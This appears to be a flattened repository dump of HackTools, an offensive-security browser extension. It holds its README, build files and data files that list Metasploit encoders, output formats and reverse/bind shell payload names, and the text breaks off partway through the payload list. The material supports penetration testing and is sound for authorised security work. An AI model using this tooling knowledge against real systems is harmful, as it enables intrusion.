Full Code of LasCC/HackTools for AI

master 8a29a026bd3a cached
49 files
328.8 KB
90.5k tokens
32 symbols
1 requests
Download .txt
Showing preview only (345K chars total). Download the full file or copy to clipboard to get everything.
Repository: LasCC/HackTools
Branch: master
Commit: 8a29a026bd3a
Files: 49
Total size: 328.8 KB

Directory structure:
gitextract_xj8a5qaj/

├── .babelrc
├── .gitignore
├── README.md
├── package.json
├── src/
│   ├── App.tsx
│   ├── assets/
│   │   ├── css/
│   │   │   └── style.css
│   │   ├── data/
│   │   │   ├── Encoder.json
│   │   │   ├── Format.json
│   │   │   ├── Payloads.json
│   │   │   ├── Platform.json
│   │   │   └── RevShell.json
│   │   └── img/
│   │       └── icons/
│   │           └── iconfont.js
│   ├── components/
│   │   ├── AboutUs.tsx
│   │   ├── LayoutApp.tsx
│   │   ├── encoding/
│   │   │   ├── DataEncoding.tsx
│   │   │   ├── Hashing.tsx
│   │   │   ├── HexEncode.tsx
│   │   │   └── URLEncode.tsx
│   │   ├── file_transfer/
│   │   │   ├── File_transfer.tsx
│   │   │   └── ObfuscatedFiles.tsx
│   │   ├── http_utils/
│   │   │   └── HTTP-Utils.tsx
│   │   ├── linux/
│   │   │   ├── LinuxCommands.tsx
│   │   │   ├── MSFBuilder.tsx
│   │   │   ├── PowershellCommands.tsx
│   │   │   ├── ReverseShell.tsx
│   │   │   └── TtySpawnShell.tsx
│   │   ├── notepad/
│   │   │   └── Notepad.tsx
│   │   ├── rss/
│   │   │   ├── BugsCX.tsx
│   │   │   ├── CVESearch.tsx
│   │   │   ├── Cisco.tsx
│   │   │   ├── CxsecurityChoose.tsx
│   │   │   ├── DorksCX.tsx
│   │   │   ├── ExploitCX.tsx
│   │   │   ├── ExploitDB.tsx
│   │   │   └── FeedRSS.tsx
│   │   ├── types/
│   │   │   ├── EchoFileName.ts
│   │   │   ├── Ipv4TcpCacheState.ts
│   │   │   ├── MSFBuilder.ts
│   │   │   └── ObfuscatedFile.ts
│   │   └── web/
│   │       ├── LFI.tsx
│   │       ├── PhpReverseShell.tsx
│   │       ├── SqlInjection.tsx
│   │       └── XSS.tsx
│   ├── devtools/
│   │   ├── devtools.html
│   │   └── devtools.js
│   ├── index.html
│   └── manifest.json
├── tsconfig.json
└── webpack.config.js

================================================
FILE CONTENTS
================================================

================================================
FILE: .babelrc
================================================
{
  "presets": [
      [
          "@babel/preset-env",
          {
              "modules": false
          }
      ],
      "@babel/preset-react"
  ],
  "plugins": [
      "react-hot-loader/babel"
  ]
}

================================================
FILE: .gitignore
================================================
/.git
/node_modules
/dist
.DS_Store
yarn.lock
package-lock.json
yarn-error.log
.scannerwork
.vscode
.idea
.github
pnpm-lock.yaml
bundle*.zip


================================================
FILE: README.md
================================================
<div align="center">
  <img alt="logo_hack_tools" src="https://i.imgur.com/yoUssC7.png" />
  <h1>Welcome to HackTools !</h1>
  <p>
    <img alt="Version" src="https://img.shields.io/badge/version-1.0-blue.svg?cacheSeconds=2592000&style=for-the-badge" />
    <a href="https://addons.mozilla.org/en-US/firefox/addon/hacktools" target="_blank">
      <img alt="mozilla" src="https://img.shields.io/badge/Firefox-FF7139?style=for-the-badge&logo=Firefox-Browser&logoColor=white" />
    </a>
    <a href="https://chrome.google.com/webstore/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi?hl=en" target="_blank">
      <img alt="chrome-extension" src="https://img.shields.io/badge/Google%20Chrome-4285F4?style=for-the-badge&logo=GoogleChrome&logoColor=white" />
    </a>
    <a href="https://github.com/LasCC/Hack-Tools/issues/88" target="_blank">
      <img alt="safari-extension" src="https://img.shields.io/badge/Safari-000000?style=for-the-badge&logo=Safari&logoColor=white" />
    </a>
    <img alt="Downloads" src="https://img.shields.io/github/downloads/LasCC/Hack-Tools/total.svg?style=for-the-badge" />
    <a href="https://inventory.raw.pm/" target="_blank">
      <img alt="RawSecInventory" src="https://inventory.raw.pm/img/badges/Rawsec-inventoried-FF5050_for-the-badge.svg" />
    <a/>
  </p>
  <p align="center">
    <a href="#the-all-in-one-browser-extension-for-offensive-security-professionals"><b>Introduction</b></a>
    &nbsp;&nbsp;&mdash;&nbsp;&nbsp;
    <a href="#preview"><b>Preview</b></a>
    &nbsp;&nbsp;&mdash;&nbsp;&nbsp;
    <a href="#install-the-extension"><b>Install</b></a>
    &nbsp;&nbsp;&mdash;&nbsp;&nbsp;
    <a href="#build-from-source-code"><b>Build</b></a>
    &nbsp;&nbsp;&mdash;&nbsp;&nbsp;
    <a href="#show-your-support"><b>Support</b></a>
  </p>
</div>

---

>[!NOTE]  
>Psst... Loved HackTools? 👀
>
>Check out [Penflow](https://github.com/rb-x/penflow) - our new security testing companion!
>Try it at [map.penflow.sh](https://map.penflow.sh) 🚀

>[!NOTE]  
>Dear Users,
>
>We're excited to announce a major revamp of our app! Due to recent changes and multiple complications with the browser extension environment, we have decided to develop HackTools as a web application moving forward.
>
>To keep you engaged, we have uploaded our latest browser extension build alpha at this link: [https://hacktools.sh](https://hacktools.sh/)
>
>Stay tuned for exciting new features and improvements coming soon!
>
>Thank you for your support.

---

### The all-in-one browser extension for **offensive security professionals**

HackTools, is a web extension facilitating your **web application penetration tests**, it includes **cheat sheets** as well as all the **tools** used during a test such as XSS payloads, Reverse shells and much more.

With the extension you **no longer need to search for payloads in different websites** or in your local storage space, most of the tools are accessible in one click. HackTools is accessible either in pop up mode or in a whole tab in the Devtools part of the browser with <kbd>F12</kbd>.

### Current functions

- Dynamic Reverse Shell generator (PHP, Bash, Ruby, Python, Perl, Netcat)
- Shell Spawning (TTY Shell Spawning)
- XSS Payloads
- Basic SQLi payloads
- Local file inclusion payloads (LFI)
- Base64 Encoder / Decoder
- Hash Generator (MD5, SHA1, SHA256, SHA512, SM3)
- Useful Linux commands (Port Forwarding, SUID)
- Various method of data exfiltration and download from a remote machine

#### Command Palette

With the new version of the extension, a command panel has been added in order to facilitate the use of the experience. The command panel allows you to access all the functions of the extension in a few keystrokes.

To open the command palette, you can use the shortcut <kbd>CTRL</kbd> + <kbd>K</kbd> or <kbd>⌘</kbd> + <kbd>K</kbd> on macOS.

- You can use the <kbd>↑</kbd> and <kbd>↓</kbd> arrow keys to navigate through the different commands.
- <kbd>Enter</kbd> to validate your choice.
- <kbd>⌘</kbd> + <kbd>L</kbd> to toggle the dark theme.
- <kbd>CTRL</kbd> + <kbd>ALT</kbd> + <kbd>1,2,3,4</kbd> to switch between the different tabs.

## Preview

<div align='center'>
  <img alt="preview_2" src="https://i.imgur.com/7Q09ZwW.png" />
</div>

<div align='center'>
  <img alt="preview_3" src="https://i.imgur.com/JPH0dIW.png" />
</div>

<div align='center'>
  <img alt="preview_4" src="https://i.imgur.com/UFZX7xH.png" />
</div>

<div align='center'>
  <img alt="preview_5" src="https://i.imgur.com/TtfhQf9.png" />
</div>

<div align='center'>
  <img alt="preview_6" src="https://i.imgur.com/l8mppjS.png" />
</div>

# Install the extension

<h2> 
  <img src="https://raw.githubusercontent.com/edent/SuperTinyIcons/master/images/svg/chromium.svg" alt="chromium_icon" title='Chromium' width="35" height="35" style="float:left;margin-right:5px;" />
   Chromium based browser
</h2>

You can download the **latest build** [here.](https://github.com/LasCC/Hack-Tools/releases)

Or, you can download the extension on the **chrome web store** [here.](https://chrome.google.com/webstore/detail/hack-tools/cmbndhnoonmghfofefkcccljbkdpamhi)

Otherwise, you can build the project yourself from the source code

<h2> 
  <img src="https://raw.githubusercontent.com/edent/SuperTinyIcons/master/images/svg/firefox.svg" alt="firefox_icon" title='Firefox' width="35" height="35" style="float:left;margin-right:5px;" /> 
   Mozilla Firefox
</h2>

You can download **HackTools** on the Firefox browser add-ons [here.](https://addons.mozilla.org/en-US/firefox/addon/hacktools/)

<h2> 
  <img src="https://raw.githubusercontent.com/edent/SuperTinyIcons/master/images/svg/safari.svg" alt="safari_icon" title='Safari' width="35" height="35" style="float:left;margin-right:5px;" /> 
   Instructions to build for Safari
</h2>

Create a safari web extension project using the command below. _This is to be run once._

```bash
xcrun safari-web-extension-coverter [path_to_dist_folder]
```

Follow the instructions to create the project the default language should be Swift.

- Build project.
- Open Safari and enable unsigned extensions; Develop -> Allow Unsigned Extensions.
- Open Safari -> Preferences -> Extensions and enable Hack-Tools
- Click on the extension icon and switch to full screen mode.

_Instructions provided by [jayluxferro](https://github.com/LasCC/Hack-Tools/issues/88)_

### Build from source code

```bash
git clone https://github.com/LasCC/Hack-Tools.git
cd Hack-Tools
npm install && npm run build
```

Once the build is done correctly, webpack will create a new folder called **dist**

After that you need to go to the **extension** tab on your chrome based navigator and turn on the **developer mode**

<img alt="extension_tutorial" src="https://i.imgur.com/ZHwUTfk.png" />

Then click on the **load unpacked** button in the top left corner

<img alt="extension_tutorial" src="https://i.imgur.com/TLDjLyO.png" />

Once you clicked on the button you just need to select the **dist folder** and that's it ! 🎉

<img alt="extension_tutorial" src="https://i.imgur.com/fH894v8.png" />

## Authors

👤 <a href="http://github.com/LasCC" alt="Github_account_Ludovic_COULON" target="_blank">**Ludovic COULON**</a> & <a href="http://github.com/rb-x" alt="Github_account_Riadh_BOUCHAHOUA" target="_blank">**Riadh BOUCHAHOUA**</a>

## Show your support

You can give a ⭐️ if this project helped you !

Note that this project is maintained, developed and made available for **free**, you can offer us a coffee, it will be very **encouraging and greatly appreciated** 😊

<a href="https://www.paypal.me/hacktoolsEXT" target="_blank"><img src="https://img.shields.io/badge/PayPal-00457C?style=for-the-badge&logo=paypal&logoColor=white" alt="Paypal" style="height: 30px !important;width: auto !important"></a>


================================================
FILE: package.json
================================================
{
    "name": "hack-tools",
    "version": "1.0.0",
    "description": "The all in one Red team browser extension for web pentesters",
    "main": "index.js",
    "scripts": {
        "start": "webpack --watch",
        "build": "webpack --mode production && rm -f ./dist/*.map",
        "watch": "webpack --watch",
        "zip_chrome": "rm -f './dist/*.map' && zip -r bundle_chrome.zip dist/",
        "zip_moz": " rm -f './dist/*.map' && sed -i 's/\"manifest_version\": 3/\"manifest_version\": 2/g' ./dist/manifest.json  && sed -i 's/\"action\":/\"browser_action\":/g' ./dist/manifest.json & zip -r bundle_moz.zip dist/*",
        "zip_all": "yarn zip_chrome && yarn zip_moz",
        "test": "echo \"Error: no test specified\" && exit 1"
    },
    "keywords": [],
    "author": "Ludovic COULON & Riadh BOUCHAHOUA",
    "license": "MIT",
    "devDependencies": {
        "@babel/cli": "^7.21.0",
        "@babel/core": "^7.21.0",
        "@babel/helper-call-delegate": "^7.12.13",
        "@babel/plugin-proposal-class-properties": "^7.18.6",
        "@babel/preset-env": "^7.20.2",
        "@babel/preset-react": "^7.18.6",
        "@babel/preset-typescript": "^7.21.0",
        "@pmmmwh/react-refresh-webpack-plugin": "^0.5.10",
        "@types/crypto-js": "^4.1.1",
        "@types/pretty": "^2.0.1",
        "@types/react-syntax-highlighter": "^15.5.6",
        "@types/use-persisted-state": "^0.3.1",
        "babel-loader": "^9.1.2",
        "clean-webpack-plugin": "^4.0.0",
        "copy-webpack-plugin": "^11.0.0",
        "css-loader": "^6.7.3",
        "file-loader": "^6.2.0",
        "html-webpack-plugin": "^5.5.0",
        "react-hot-loader": "^4.13.1",
        "react-refresh": "^0.14.0",
        "style-loader": "^3.3.1",
        "typescript": "^4.9.5",
        "webpack": "^5.76.1",
        "webpack-cli": "^5.0.1",
        "webpack-dev-server": "^4.11.1"
    },
    "browserslist": [
        ">0.2%",
        "not dead",
        "not op_mini all"
    ],
    "dependencies": {
        "@ant-design/compatible": "^5.1.1",
        "@ant-design/cssinjs": "^1.6.1",
        "@ant-design/icons": "4.8.0",
        "@ant-design/pro-card": "^2.3.0",
        "@ant-design/pro-layout": "^7.10.0",
        "@hot-loader/react-dom": "^17.0.2",
        "@types/chrome": "^0.0.206",
        "@types/jest": "^29.4.0",
        "@types/node": "^18.15.0",
        "@types/react": "^18.0.28",
        "@types/react-dom": "^18.0.11",
        "@uiw/react-md-editor": "^3.20.5",
        "antd": "5.1.0",
        "antd-mask-input": "2.0.7",
        "axios": "^1.3.4",
        "crypto-js": "^4.1.1",
        "darkreader": "^4.9.58",
        "escape-quotes": "^1.0.2",
        "less": "^4.1.3",
        "less-loader": "^11.1.0",
        "mermaid": "^9.4.3",
        "pretty": "^2.0.0",
        "rc-queue-anim": "^2.0.0",
        "react": "^18.2.0",
        "react-chrome-extension-router": "^1.4.0",
        "react-clipboard.js": "2.0.16",
        "react-color": "^2.19.3",
        "react-dom": "^18.2.0",
        "react-highlight-words": "^0.18.0",
        "react-query": "^3.39.3",
        "react-refresh-typescript": "^2.0.8",
        "react-syntax-highlighter": "^15.5.0",
        "sm3": "^1.0.3",
        "ts-loader": "^9.4.2",
        "use-persisted-state": "^0.3.3"
    }
}

================================================
FILE: src/App.tsx
================================================
import React from 'react';
import ReactDOM from 'react-dom';
import { Router } from 'react-chrome-extension-router';
import { FloatButton } from 'antd';
import { QueryClientProvider, QueryClient } from 'react-query';
import LayoutApp from './components/LayoutApp';
import ReverseShell from './components/linux/ReverseShell';
import './assets/css/style.css';

const queryClient = new QueryClient();

const App = () => {
    return (
        <div>
            <ReverseShell />
        </div>
    );
};


ReactDOM.render(
    <QueryClientProvider client={queryClient}>
        <LayoutApp>
            <Router>
                <App />
            </Router>
            <FloatButton.BackTop />
        </LayoutApp>
    </QueryClientProvider>,
    document.getElementById( 'app' )
);


================================================
FILE: src/assets/css/style.css
================================================
.logo:hover {
    cursor: pointer;
    animation: jelly 0.5s;
}

.logo {
    padding-left: 17px;
    padding-top: 14px;
    margin-bottom: 10px;
}

@keyframes jelly {

    0%,
    100% {
        transform: scale(1, 1);
    }

    25% {
        transform: scale(0.9, 1.1);
    }

    50% {
        transform: scale(1.1, 0.9);
    }

    75% {
        transform: scale(0.95, 1.05);
    }
}

.ant-badge {
    color: inherit !important;
}

.site-layout .site-layout-background {
    border-radius: 10px;
}

.ant-menu-inline .ant-menu-item:not(:last-child),
.ant-menu-vertical-left .ant-menu-item:not(:last-child),
.ant-menu-vertical-right .ant-menu-item:not(:last-child),
.ant-menu-vertical .ant-menu-item:not(:last-child) {
    margin: 0px !important;
}

.ant-menu-dark.ant-menu-inline .ant-menu-item,
.ant-menu-dark.ant-menu-vertical .ant-menu-item,
.ant-menu-dark.ant-menu-vertical-left .ant-menu-item,
.ant-menu-dark.ant-menu-vertical-right .ant-menu-item {
    left: 4px !important;
    margin-left: 0 !important;
    border-right: 0 !important;
}

.ant-menu-vertical .ant-menu-item:not(:last-child),
.ant-menu-vertical-left .ant-menu-item:not(:last-child),
.ant-menu-vertical-right .ant-menu-item:not(:last-child),
.ant-menu-inline .ant-menu-item:not(:last-child) {
    margin: 0 !important;
}

.ant-menu-inline-collapsed>.ant-menu-item,
.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item,
.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title,
.ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title {
    left: 0 !important;
    padding: 2px calc(50% - 25px / 2) !important;
    text-overflow: clip !important;
}

.ant-menu-vertical>.ant-menu-item,
.ant-menu-vertical-left>.ant-menu-item,
.ant-menu-vertical-right>.ant-menu-item,
.ant-menu-inline>.ant-menu-item,
.ant-menu-vertical>.ant-menu-submenu>.ant-menu-submenu-title,
.ant-menu-vertical-left>.ant-menu-submenu>.ant-menu-submenu-title,
.ant-menu-vertical-right>.ant-menu-submenu>.ant-menu-submenu-title,
.ant-menu-inline>.ant-menu-submenu>.ant-menu-submenu-title {
    height: 35px !important;
    line-height: 35px !important;
}

.ant-menu-inline-collapsed>.ant-menu-item .ant-menu-item-icon,
.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item .ant-menu-item-icon,
.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title .ant-menu-item-icon,
.ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title .ant-menu-item-icon,
.ant-menu-inline-collapsed>.ant-menu-item .anticon,
.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-item .anticon,
.ant-menu-inline-collapsed>.ant-menu-item-group>.ant-menu-item-group-list>.ant-menu-submenu>.ant-menu-submenu-title .anticon,
.ant-menu-inline-collapsed>.ant-menu-submenu>.ant-menu-submenu-title .anticon {
    margin: 0 !important;
    font-size: 18px !important;
    line-height: 32px !important;
}

.iconfont {
    font-family: "iconfont";
    margin: 0;
    font-size: 14px;
    line-height: 32px;
    font-style: normal;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

body {
    min-width: 750px;
    min-height: auto;
    margin: 0px !important;
    font-family: system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
    font-size: 14px;
}

================================================
FILE: src/assets/data/Encoder.json
================================================
[
	{ "value": "cmd/echo" },
	{ "value": "cmd/generic_sh" },
	{ "value": "cmd/ifs" },
	{ "value": "cmd/perl" },
	{ "value": "cmd/powershell_base64" },
	{ "value": "cmd/printf_php_mq" },
	{ "value": "generic/eicar" },
	{ "value": "generic/none" },
	{ "value": "mipsbe/byte_xori" },
	{ "value": "mipsbe/longxor" },
	{ "value": "mipsle/byte_xori" },
	{ "value": "mipsle/longxor" },
	{ "value": "php/base64" },
	{ "value": "ppc/longxor" },
	{ "value": "ppc/longxor_tag" },
	{ "value": "ruby/base64" },
	{ "value": "sparc/longxor_tag" },
	{ "value": "x64/xor" },
	{ "value": "x64/zutto_dekiru" },
	{ "value": "x86/add_sub" },
	{ "value": "x86/alpha_mixed" },
	{ "value": "x86/alpha_upper" },
	{ "value": "x86/avoid_underscore_tolower" },
	{ "value": "x86/avoid_utf8_tolower" },
	{ "value": "x86/bloxor" },
	{ "value": "x86/bmp_polyglot" },
	{ "value": "x86/call4_dword_xor" },
	{ "value": "x86/context_cpuid" },
	{ "value": "x86/context_stat" },
	{ "value": "x86/context_time" },
	{ "value": "x86/countdown" },
	{ "value": "x86/fnstenv_mov" },
	{ "value": "x86/jmp_call_additive" },
	{ "value": "x86/nonalpha" },
	{ "value": "x86/nonupper" },
	{ "value": "x86/opt_sub" },
	{ "value": "x86/service" },
	{ "value": "x86/shikata_ga_nai" },
	{ "value": "x86/single_static_bit" },
	{ "value": "x86/unicode_mixed" },
	{ "value": "x86/unicode_upper" }
]


================================================
FILE: src/assets/data/Format.json
================================================
[
	{ "value": "asp" },
	{ "value": "aspx" },
	{ "value": "aspx-exe" },
	{ "value": "axis2" },
	{ "value": "bash" },
	{ "value": "c" },
	{ "value": "csharp" },
	{ "value": "dll" },
	{ "value": "dw" },
	{ "value": "dword" },
	{ "value": "elf" },
	{ "value": "elf-so" },
	{ "value": "exe" },
	{ "value": "exe-only" },
	{ "value": "exe-service" },
	{ "value": "exe-small" },
	{ "value": "hex" },
	{ "value": "hta-psh" },
	{ "value": "jar" },
	{ "value": "java" },
	{ "value": "js_be" },
	{ "value": "js_le" },
	{ "value": "jsp" },
	{ "value": "loop-vbs" },
	{ "value": "macho" },
	{ "value": "msi" },
	{ "value": "msi-nouac" },
	{ "value": "num" },
	{ "value": "osx-app" },
	{ "value": "perl" },
	{ "value": "pl" },
	{ "value": "powershell" },
	{ "value": "ps1" },
	{ "value": "psh" },
	{ "value": "psh-cmd" },
	{ "value": "psh-net" },
	{ "value": "psh-reflection" },
	{ "value": "py" },
	{ "value": "python" },
	{ "value": "raw" },
	{ "value": "rb" },
	{ "value": "ruby" },
	{ "value": "sh" },
	{ "value": "vba" },
	{ "value": "vba-exe" },
	{ "value": "vbapplication" },
	{ "value": "vba-psh" },
	{ "value": "vbs" },
	{ "value": "vbscript" },
	{ "value": "war" }
]


================================================
FILE: src/assets/data/Payloads.json
================================================
[
	{ "value": "aix/ppc/shell_bind_tcp" },
	{ "value": "aix/ppc/shell_find_port" },
	{ "value": "aix/ppc/shell_interact" },
	{ "value": "aix/ppc/shell_reverse_tcp" },
	{ "value": "android/meterpreter/reverse_http" },
	{ "value": "android/meterpreter/reverse_https" },
	{ "value": "android/meterpreter/reverse_tcp" },
	{ "value": "android/meterpreter_reverse_http" },
	{ "value": "android/meterpreter_reverse_https" },
	{ "value": "android/meterpreter_reverse_tcp" },
	{ "value": "android/shell/reverse_http" },
	{ "value": "android/shell/reverse_https" },
	{ "value": "android/shell/reverse_tcp" },
	{ "value": "apple_ios/aarch64/meterpreter_reverse_http" },
	{ "value": "apple_ios/aarch64/meterpreter_reverse_https" },
	{ "value": "apple_ios/aarch64/meterpreter_reverse_tcp" },
	{ "value": "apple_ios/aarch64/shell_reverse_tcp" },
	{ "value": "bsd/sparc/shell_bind_tcp" },
	{ "value": "bsd/sparc/shell_reverse_tcp" },
	{ "value": "bsd/x64/exec" },
	{ "value": "bsd/x64/shell_bind_ipv6_tcp" },
	{ "value": "bsd/x64/shell_bind_tcp" },
	{ "value": "bsd/x64/shell_bind_tcp_small" },
	{ "value": "bsd/x64/shell_reverse_ipv6_tcp" },
	{ "value": "bsd/x64/shell_reverse_tcp" },
	{ "value": "bsd/x64/shell_reverse_tcp_small" },
	{ "value": "bsd/x86/exec" },
	{ "value": "bsd/x86/metsvc_bind_tcp" },
	{ "value": "bsd/x86/metsvc_reverse_tcp" },
	{ "value": "bsd/x86/shell/bind_ipv6_tcp" },
	{ "value": "bsd/x86/shell/bind_tcp" },
	{ "value": "bsd/x86/shell/find_tag" },
	{ "value": "bsd/x86/shell/reverse_ipv6_tcp" },
	{ "value": "bsd/x86/shell/reverse_tcp" },
	{ "value": "bsd/x86/shell_bind_tcp" },
	{ "value": "bsd/x86/shell_bind_tcp_ipv6" },
	{ "value": "bsd/x86/shell_find_port" },
	{ "value": "bsd/x86/shell_find_tag" },
	{ "value": "bsd/x86/shell_reverse_tcp" },
	{ "value": "bsd/x86/shell_reverse_tcp_ipv6" },
	{ "value": "bsdi/x86/shell/bind_tcp" },
	{ "value": "bsdi/x86/shell/reverse_tcp" },
	{ "value": "bsdi/x86/shell_bind_tcp" },
	{ "value": "bsdi/x86/shell_find_port" },
	{ "value": "bsdi/x86/shell_reverse_tcp" },
	{ "value": "cmd/mainframe/apf_privesc_jcl" },
	{ "value": "cmd/mainframe/bind_shell_jcl" },
	{ "value": "cmd/mainframe/generic_jcl" },
	{ "value": "cmd/mainframe/reverse_shell_jcl" },
	{ "value": "cmd/unix/bind_awk" },
	{ "value": "cmd/unix/bind_inetd" },
	{ "value": "cmd/unix/bind_lua" },
	{ "value": "cmd/unix/bind_netcat" },
	{ "value": "cmd/unix/bind_netcat_gaping" },
	{ "value": "cmd/unix/bind_netcat_gaping_ipv6" },
	{ "value": "cmd/unix/bind_nodejs" },
	{ "value": "cmd/unix/bind_perl" },
	{ "value": "cmd/unix/bind_perl_ipv6" },
	{ "value": "cmd/unix/bind_r" },
	{ "value": "cmd/unix/bind_ruby" },
	{ "value": "cmd/unix/bind_ruby_ipv6" },
	{ "value": "cmd/unix/bind_socat_udp" },
	{ "value": "cmd/unix/bind_stub" },
	{ "value": "cmd/unix/bind_zsh" },
	{ "value": "cmd/unix/generic" },
	{ "value": "cmd/unix/interact" },
	{ "value": "cmd/unix/reverse" },
	{ "value": "cmd/unix/reverse_awk" },
	{ "value": "cmd/unix/reverse_bash" },
	{ "value": "cmd/unix/reverse_bash_telnet_ssl" },
	{ "value": "cmd/unix/reverse_ksh" },
	{ "value": "cmd/unix/reverse_lua" },
	{ "value": "cmd/unix/reverse_ncat_ssl" },
	{ "value": "cmd/unix/reverse_netcat" },
	{ "value": "cmd/unix/reverse_netcat_gaping" },
	{ "value": "cmd/unix/reverse_nodejs" },
	{ "value": "cmd/unix/reverse_openssl" },
	{ "value": "cmd/unix/reverse_perl" },
	{ "value": "cmd/unix/reverse_perl_ssl" },
	{ "value": "cmd/unix/reverse_php_ssl" },
	{ "value": "cmd/unix/reverse_python" },
	{ "value": "cmd/unix/reverse_python_ssl" },
	{ "value": "cmd/unix/reverse_r" },
	{ "value": "cmd/unix/reverse_ruby" },
	{ "value": "cmd/unix/reverse_ruby_ssl" },
	{ "value": "cmd/unix/reverse_socat_udp" },
	{ "value": "cmd/unix/reverse_ssl_double_telnet" },
	{ "value": "cmd/unix/reverse_stub" },
	{ "value": "cmd/unix/reverse_zsh" },
	{ "value": "cmd/windows/adduser" },
	{ "value": "cmd/windows/bind_lua" },
	{ "value": "cmd/windows/bind_perl" },
	{ "value": "cmd/windows/bind_perl_ipv6" },
	{ "value": "cmd/windows/bind_ruby" },
	{ "value": "cmd/windows/download_eval_vbs" },
	{ "value": "cmd/windows/download_exec_vbs" },
	{ "value": "cmd/windows/generic" },
	{ "value": "cmd/windows/powershell_bind_tcp" },
	{ "value": "cmd/windows/powershell_reverse_tcp" },
	{ "value": "cmd/windows/reverse_lua" },
	{ "value": "cmd/windows/reverse_perl" },
	{ "value": "cmd/windows/reverse_powershell" },
	{ "value": "cmd/windows/reverse_ruby" },
	{ "value": "firefox/exec" },
	{ "value": "firefox/shell_bind_tcp" },
	{ "value": "firefox/shell_reverse_tcp" },
	{ "value": "generic/custom" },
	{ "value": "generic/debug_trap" },
	{ "value": "generic/shell_bind_tcp" },
	{ "value": "generic/shell_reverse_tcp" },
	{ "value": "generic/tight_loop" },
	{ "value": "java/jsp_shell_bind_tcp" },
	{ "value": "java/jsp_shell_reverse_tcp" },
	{ "value": "java/meterpreter/bind_tcp" },
	{ "value": "java/meterpreter/reverse_http" },
	{ "value": "java/meterpreter/reverse_https" },
	{ "value": "java/meterpreter/reverse_tcp" },
	{ "value": "java/shell/bind_tcp" },
	{ "value": "java/shell/reverse_tcp" },
	{ "value": "java/shell_reverse_tcp" },
	{ "value": "linux/aarch64/meterpreter/reverse_tcp" },
	{ "value": "linux/aarch64/meterpreter_reverse_http" },
	{ "value": "linux/aarch64/meterpreter_reverse_https" },
	{ "value": "linux/aarch64/meterpreter_reverse_tcp" },
	{ "value": "linux/aarch64/shell/reverse_tcp" },
	{ "value": "linux/aarch64/shell_reverse_tcp" },
	{ "value": "linux/armbe/meterpreter_reverse_http" },
	{ "value": "linux/armbe/meterpreter_reverse_https" },
	{ "value": "linux/armbe/meterpreter_reverse_tcp" },
	{ "value": "linux/armbe/shell_bind_tcp" },
	{ "value": "linux/armle/adduser" },
	{ "value": "linux/armle/exec" },
	{ "value": "linux/armle/meterpreter/bind_tcp" },
	{ "value": "linux/armle/meterpreter/reverse_tcp" },
	{ "value": "linux/armle/meterpreter_reverse_http" },
	{ "value": "linux/armle/meterpreter_reverse_https" },
	{ "value": "linux/armle/meterpreter_reverse_tcp" },
	{ "value": "linux/armle/shell/bind_tcp" },
	{ "value": "linux/armle/shell/reverse_tcp" },
	{ "value": "linux/armle/shell_bind_tcp" },
	{ "value": "linux/armle/shell_reverse_tcp" },
	{ "value": "linux/mips64/meterpreter_reverse_http" },
	{ "value": "linux/mips64/meterpreter_reverse_https" },
	{ "value": "linux/mips64/meterpreter_reverse_tcp" },
	{ "value": "linux/mipsbe/exec" },
	{ "value": "linux/mipsbe/meterpreter/reverse_tcp" },
	{ "value": "linux/mipsbe/meterpreter_reverse_http" },
	{ "value": "linux/mipsbe/meterpreter_reverse_https" },
	{ "value": "linux/mipsbe/meterpreter_reverse_tcp" },
	{ "value": "linux/mipsbe/reboot" },
	{ "value": "linux/mipsbe/shell/reverse_tcp" },
	{ "value": "linux/mipsbe/shell_bind_tcp" },
	{ "value": "linux/mipsbe/shell_reverse_tcp" },
	{ "value": "linux/mipsle/exec" },
	{ "value": "linux/mipsle/meterpreter/reverse_tcp" },
	{ "value": "linux/mipsle/meterpreter_reverse_http" },
	{ "value": "linux/mipsle/meterpreter_reverse_https" },
	{ "value": "linux/mipsle/meterpreter_reverse_tcp" },
	{ "value": "linux/mipsle/reboot" },
	{ "value": "linux/mipsle/shell/reverse_tcp" },
	{ "value": "linux/mipsle/shell_bind_tcp" },
	{ "value": "linux/mipsle/shell_reverse_tcp" },
	{ "value": "linux/ppc/meterpreter_reverse_http" },
	{ "value": "linux/ppc/meterpreter_reverse_https" },
	{ "value": "linux/ppc/meterpreter_reverse_tcp" },
	{ "value": "linux/ppc/shell_bind_tcp" },
	{ "value": "linux/ppc/shell_find_port" },
	{ "value": "linux/ppc/shell_reverse_tcp" },
	{ "value": "linux/ppc64/shell_bind_tcp" },
	{ "value": "linux/ppc64/shell_find_port" },
	{ "value": "linux/ppc64/shell_reverse_tcp" },
	{ "value": "linux/ppc64le/meterpreter_reverse_http" },
	{ "value": "linux/ppc64le/meterpreter_reverse_https" },
	{ "value": "linux/ppc64le/meterpreter_reverse_tcp" },
	{ "value": "linux/ppce500v2/meterpreter_reverse_http" },
	{ "value": "linux/ppce500v2/meterpreter_reverse_https" },
	{ "value": "linux/ppce500v2/meterpreter_reverse_tcp" },
	{ "value": "linux/x64/exec" },
	{ "value": "linux/x64/meterpreter/bind_tcp" },
	{ "value": "linux/x64/meterpreter/reverse_tcp" },
	{ "value": "linux/x64/meterpreter_reverse_http" },
	{ "value": "linux/x64/meterpreter_reverse_https" },
	{ "value": "linux/x64/meterpreter_reverse_tcp" },
	{ "value": "linux/x64/shell/bind_tcp" },
	{ "value": "linux/x64/shell/reverse_tcp" },
	{ "value": "linux/x64/shell_bind_tcp" },
	{ "value": "linux/x64/shell_bind_tcp_random_port" },
	{ "value": "linux/x64/shell_find_port" },
	{ "value": "linux/x64/shell_reverse_tcp" },
	{ "value": "linux/x86/adduser" },
	{ "value": "linux/x86/chmod" },
	{ "value": "linux/x86/exec" },
